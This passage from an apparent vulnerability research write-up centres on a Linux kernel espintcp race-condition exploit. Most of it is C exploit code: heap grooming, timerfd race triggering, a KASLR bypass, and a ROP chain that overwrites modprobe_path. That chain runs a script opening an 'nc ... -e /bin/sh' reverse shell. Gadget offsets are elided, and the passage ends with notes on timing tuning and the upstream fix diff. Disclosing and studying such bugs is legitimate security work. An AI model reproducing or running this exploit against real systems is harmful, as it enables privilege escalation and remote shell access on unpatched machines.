	<span class="n">close</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">);</span>
	<span class="n">close</span><span class="p">(</span><span class="n">listen_fd</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">run_client</span><span class="p">(</span><span class="kt">int</span> <span class="n">s2c</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">c2s</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">addr</span><span class="p">;</span>
	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
	<span class="kt">char</span> <span class="n">c</span><span class="p">;</span>

	<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

	<span class="n">fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"[client] socket"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">));</span>
	<span class="n">addr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
	<span class="n">addr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="n">htonl</span><span class="p">(</span><span class="n">INADDR_LOOPBACK</span><span class="p">);</span>
	<span class="n">addr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="n">htons</span><span class="p">(</span><span class="mi">5000</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"[client] connect() before</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">connect</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">addr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"[client] connect"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"[client] connect() after - connected to 127.0.0.1:5000</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="kt">int</span> <span class="n">sndbuf</span> <span class="o">=</span> <span class="mi">1024</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">SO_SNDBUF</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sndbuf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sndbuf</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"[client] setsockopt(SO_SNDBUF)"</span><span class="p">);</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[client] SO_SNDBUF set to %d bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">sndbuf</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">enable_espintcp</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="s">"client"</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kt">int</span> <span class="n">flags</span> <span class="o">=</span> <span class="n">fcntl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">F_GETFL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">fcntl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">F_SETFL</span><span class="p">,</span> <span class="n">flags</span> <span class="o">|</span> <span class="n">O_NONBLOCK</span><span class="p">);</span>

	<span class="kt">int</span> <span class="n">rcvbuf</span> <span class="o">=</span> <span class="mi">900</span><span class="o">*</span><span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">;</span>
	<span class="n">setsockopt</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">SO_RCVBUF</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rcvbuf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">rcvbuf</span><span class="p">));</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"step 1</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="n">read</span><span class="p">(</span><span class="n">s2c</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"step 3</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'A'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">SENDMSG_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="kt">ssize_t</span> <span class="n">n</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
	<span class="p">}</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"step 4</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="n">write</span><span class="p">(</span><span class="n">c2s</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

	<span class="n">usleep</span><span class="p">(</span><span class="n">DELAY_STAGE_1</span><span class="p">);</span>

	<span class="k">struct</span> <span class="n">itimerspec</span> <span class="n">new</span> <span class="o">=</span> <span class="p">{.</span><span class="n">it_value</span><span class="p">.</span><span class="n">tv_nsec</span> <span class="o">=</span> <span class="mi">11000</span><span class="p">};</span>
	<span class="n">timerfd_settime</span><span class="p">(</span><span class="n">g_tfd</span><span class="p">,</span> <span class="n">TFD_TIMER_CANCEL_ON_SET</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">new</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">race_trigger</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">s2c</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// parent -&gt; child</span>
	<span class="kt">int</span> <span class="n">c2s</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// child  -&gt; parent</span>

	<span class="n">status_trig</span> <span class="o">=</span> <span class="n">TRIG_ERROR</span><span class="p">;</span>

	<span class="n">pipe</span><span class="p">(</span><span class="n">s2c</span><span class="p">);</span>
	<span class="n">pipe</span><span class="p">(</span><span class="n">c2s</span><span class="p">);</span>

	<span class="n">_pin_to_cpu</span><span class="p">(</span><span class="n">MAIN_CPU</span><span class="p">);</span>

	<span class="n">heap_grooming</span><span class="p">();</span>

	<span class="n">pid_t</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">pid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">// child: client</span>

		<span class="n">close</span><span class="p">(</span><span class="n">s2c</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
		<span class="n">close</span><span class="p">(</span><span class="n">c2s</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
		<span class="k">return</span> <span class="n">run_client</span><span class="p">(</span><span class="n">s2c</span><span class="p">,</span> <span class="n">c2s</span><span class="p">);</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="c1">// parent: server</span>

		<span class="kt">int</span> <span class="n">status</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
		<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>

		<span class="n">close</span><span class="p">(</span><span class="n">s2c</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
		<span class="n">close</span><span class="p">(</span><span class="n">c2s</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
		<span class="n">ret</span> <span class="o">=</span> <span class="n">run_server</span><span class="p">(</span><span class="n">s2c</span><span class="p">,</span> <span class="n">c2s</span><span class="p">);</span>

		<span class="n">waitpid</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">status</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

		<span class="n">printf</span><span class="p">(</span><span class="s">"[main] client exited with status %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">status</span><span class="p">);</span>

		<span class="n">usleep</span><span class="p">(</span><span class="mi">3000</span><span class="p">);</span>

		<span class="n">status_trig</span> <span class="o">=</span> <span class="n">TRIG_RETRY</span><span class="p">;</span>

		<span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="cp">#define MODPROBE_SCRIPT "#!/bin/sh\nnc 127.0.0.1 4444 -e /bin/sh\n"
#define WORK_STRUCT_PWQ 4
</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="kt">int</span> <span class="n">net_families_can</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">modprobe_path</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">push_rdi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_r14_ret</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">pop_rdi_pop_rsi_pop_rdx_pop_rcx_ret</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">pop_rbx_ret</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">_copy_from_user</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">mdelay</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span> <span class="kt">int</span> <span class="n">fake_net_families_can</span><span class="p">;</span>

<span class="kt">void</span> <span class="o">*</span><span class="nf">bind_thread</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">sockaddr_alg</span> <span class="n">sa</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">alg_fd</span><span class="p">;</span>

	<span class="n">alg_fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_ALG</span><span class="p">,</span> <span class="n">SOCK_SEQPACKET</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

	<span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sa</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sa</span><span class="p">));</span>
	<span class="n">sa</span><span class="p">.</span><span class="n">salg_family</span> <span class="o">=</span> <span class="n">AF_ALG</span><span class="p">;</span>
	<span class="n">strcpy</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">sa</span><span class="p">.</span><span class="n">salg_type</span><span class="p">,</span> <span class="s">"V4bel"</span><span class="p">);</span>

	<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">usleep</span><span class="p">(</span><span class="mi">500000</span><span class="p">);</span>
		<span class="n">bind</span><span class="p">(</span><span class="n">alg_fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">sa</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sa</span><span class="p">));</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">prepare_rop_payload</span><span class="p">()</span>
<span class="p">{</span>
	<span class="kt">char</span> <span class="n">fake_modprobe</span><span class="p">[</span><span class="mi">40</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
	<span class="n">pid_t</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
	<span class="n">pthread_attr_t</span> <span class="n">attr_bind</span><span class="p">;</span>
	<span class="n">cpu_set_t</span> <span class="n">cpus_bind</span><span class="p">;</span>
	<span class="n">pthread_t</span> <span class="n">th_bind</span><span class="p">;</span>

	<span class="kt">int</span> <span class="n">modprobe_script_fd</span> <span class="o">=</span> <span class="n">memfd_create</span><span class="p">(</span><span class="s">""</span><span class="p">,</span> <span class="n">MFD_CLOEXEC</span><span class="p">);</span>
	<span class="n">dprintf</span><span class="p">(</span><span class="n">modprobe_script_fd</span><span class="p">,</span> <span class="n">MODPROBE_SCRIPT</span><span class="p">);</span>
	<span class="n">snprintf</span><span class="p">(</span><span class="n">fake_modprobe</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">fake_modprobe</span><span class="p">),</span> <span class="s">"/proc/%i/fd/%i"</span><span class="p">,</span> <span class="n">pid</span><span class="p">,</span> <span class="n">modprobe_script_fd</span><span class="p">);</span>

	<span class="n">ctx</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">espintcp_ctx</span><span class="p">));</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ctx</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"malloc()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="n">memset</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">espintcp_ctx</span><span class="p">));</span>

	<span class="n">fake_net_families_can</span> <span class="o">=</span> <span class="p">(</span><span class="n">net_families_can</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="n">WORK_STRUCT_PWQ</span><span class="p">;</span>

	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">.</span><span class="n">entry</span><span class="p">.</span><span class="n">next</span> <span class="o">=</span> <span class="n">modprobe_path</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">.</span><span class="n">entry</span><span class="p">.</span><span class="n">prev</span> <span class="o">=</span> <span class="n">modprobe_path</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">.</span><span class="n">data</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">fake_net_families_can</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">.</span><span class="n">func</span> <span class="o">=</span> <span class="n">push_rdi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_r14_ret</span><span class="p">;</span>

	<span class="kt">int</span> <span class="n">t</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rdi_pop_rsi_pop_rdx_pop_rcx_ret</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">modprobe_path</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">fake_modprobe</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">strlen</span><span class="p">(</span><span class="n">fake_modprobe</span><span class="p">);</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">_copy_from_user</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">pop_rbx_ret</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mi">30000</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">mdelay</span><span class="p">;</span>
	<span class="n">ctx</span><span class="o">-&gt;</span><span class="n">payload</span><span class="p">[</span><span class="n">t</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">pthread_attr_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr_bind</span><span class="p">);</span>

	<span class="n">CPU_ZERO</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cpus_bind</span><span class="p">);</span>
	<span class="n">CPU_SET</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cpus_bind</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">pthread_attr_setaffinity_np</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr_bind</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cpu_set_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cpus_bind</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"pthread_attr_setaffinity_np()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">th_bind</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">attr_bind</span><span class="p">,</span> <span class="n">bind_thread</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"pthread_create()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">prefetch_attack</span><span class="p">()</span>
<span class="p">{</span>
	<span class="kt">uint64_t</span> <span class="n">bases</span><span class="p">[</span><span class="n">PREFETCH_ITER</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,};</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">PREFETCH_ITER</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">bypass_kaslr</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
		<span class="n">bases</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">kbase</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">kbase</span> <span class="o">=</span> <span class="n">find_min</span><span class="p">(</span><span class="n">bases</span><span class="p">,</span> <span class="n">PREFETCH_ITER</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"kbase: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kbase</span><span class="p">);</span>

	<span class="n">net_families_can</span> <span class="o">=</span> <span class="n">kbase</span> <span class="o">+</span> <span class="mi">0</span><span class="n">x</span><span class="p">...</span> <span class="o">+</span> <span class="mh">0xe8</span><span class="p">;</span>
	<span class="n">modprobe_path</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">kbase</span> <span class="o">+</span> <span class="mi">0</span><span class="n">x</span><span class="p">...);</span>
	<span class="n">push_rdi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_r14_ret</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">kbase</span> <span class="o">+</span> <span class="mi">0</span><span class="n">x</span><span class="p">...);</span>
	<span class="n">pop_rdi_pop_rsi_pop_rdx_pop_rcx_ret</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">kbase</span> <span class="o">+</span> <span class="mi">0</span><span class="n">x</span><span class="p">...);</span>
	<span class="n">pop_rbx_ret</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">kbase</span> <span class="o">+</span> <span class="mi">0</span><span class="n">x</span><span class="p">...);</span>
	<span class="n">_copy_from_user</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">kbase</span> <span class="o">+</span> <span class="mi">0</span><span class="n">x</span><span class="p">...);</span>
	<span class="n">mdelay</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="n">kbase</span> <span class="o">+</span> <span class="mi">0</span><span class="n">x</span><span class="p">...);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="n">prefetch_attack</span><span class="p">();</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">prepare_rop_payload</span><span class="p">())</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"prepare_rop_payload()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">pthread_attr_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">);</span>

	<span class="n">CPU_ZERO</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cpus</span><span class="p">);</span>
	<span class="n">CPU_SET</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cpus</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">pthread_attr_setaffinity_np</span><span class="p">(</span><span class="o">&amp;</span><span class="n">attr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cpu_set_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">cpus</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">perror</span><span class="p">(</span><span class="s">"pthread_attr_setaffinity_np()"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">g_tfd</span> <span class="o">=</span> <span class="n">timerfd_create</span><span class="p">(</span><span class="n">CLOCK_MONOTONIC</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">do_epoll_enqueue</span><span class="p">(</span><span class="n">g_tfd</span><span class="p">);</span>

	<span class="n">trigger_stack</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">STACK_SIZE</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_ANON</span> <span class="o">|</span> <span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">FAIL_IF</span><span class="p">(</span><span class="n">trigger_stack</span> <span class="o">==</span> <span class="n">MAP_FAILED</span><span class="p">);</span>
	<span class="n">trigger_stack</span> <span class="o">+=</span> <span class="mh">0x8000</span><span class="p">;</span>
	<span class="k">do</span> <span class="p">{</span>
		<span class="kt">int</span> <span class="n">race_trigger_pid</span> <span class="o">=</span> <span class="n">clone</span><span class="p">(</span><span class="n">race_trigger</span><span class="p">,</span> <span class="n">trigger_stack</span><span class="p">,</span> <span class="n">CLONE_VM</span> <span class="o">|</span> <span class="n">SIGCHLD</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
		<span class="n">FAIL_IF</span><span class="p">(</span><span class="n">race_trigger_pid</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">);</span>
		<span class="n">FAIL_IF</span><span class="p">(</span><span class="n">waitpid</span><span class="p">(</span><span class="n">race_trigger_pid</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">);</span>
	<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">status_trig</span> <span class="o">==</span> <span class="n">TRIG_RETRY</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>  </div>

</details>
<p><br /></p>

<p>Because almost every step in this race scenario behaves non-deterministically, the delay values inserted at each stage have to be tuned manually for the target environment. For example, when testing in a VMware guest, the APIC timer is often observed to arrive much later than expected, which appears to be one of the side effects caused by vCPU preemption.</p>

<p>This is also why I did not try to stabilize the exploit by measuring execution time with <code class="language-plaintext highlighter-rouge">rdtsc</code> and dynamically adjusting the relative delays between stages based on that value. Even in the same environment, using the same delays (even with busy-wait loops) does not guarantee the same execution order each time. It is not possible to predict exactly when softirqs or hardirqs will be handled, or when a context switch will complete.</p>

<h1 id="patching-espintcp">Patching espintcp</h1>

<p>This espintcp vulnerability was fixed by changing <code class="language-plaintext highlighter-rouge">cancel_work_sync()</code> to <code class="language-plaintext highlighter-rouge">disable_work_sync()</code> in commit <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e1512c1db9e8794d8d130addd2615ec27231d994">e1512c1db9e8</a>.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/net/xfrm/espintcp.c b/net/xfrm/espintcp.c
index bf744ac9d5a7..8709df716e98 100644
</span><span class="gd">--- a/net/xfrm/espintcp.c
</span><span class="gi">+++ b/net/xfrm/espintcp.c
</span><span class="p">@@ -536,7 +536,7 @@</span> static void espintcp_close(struct sock *sk, long timeout)
 	sk-&gt;sk_prot = &amp;tcp_prot;
 	barrier();
 
<span class="gd">-	cancel_work_sync(&amp;ctx-&gt;work);
</span><span class="gi">+	disable_work_sync(&amp;ctx-&gt;work);
</span> 	strp_done(&amp;ctx-&gt;strp);
 
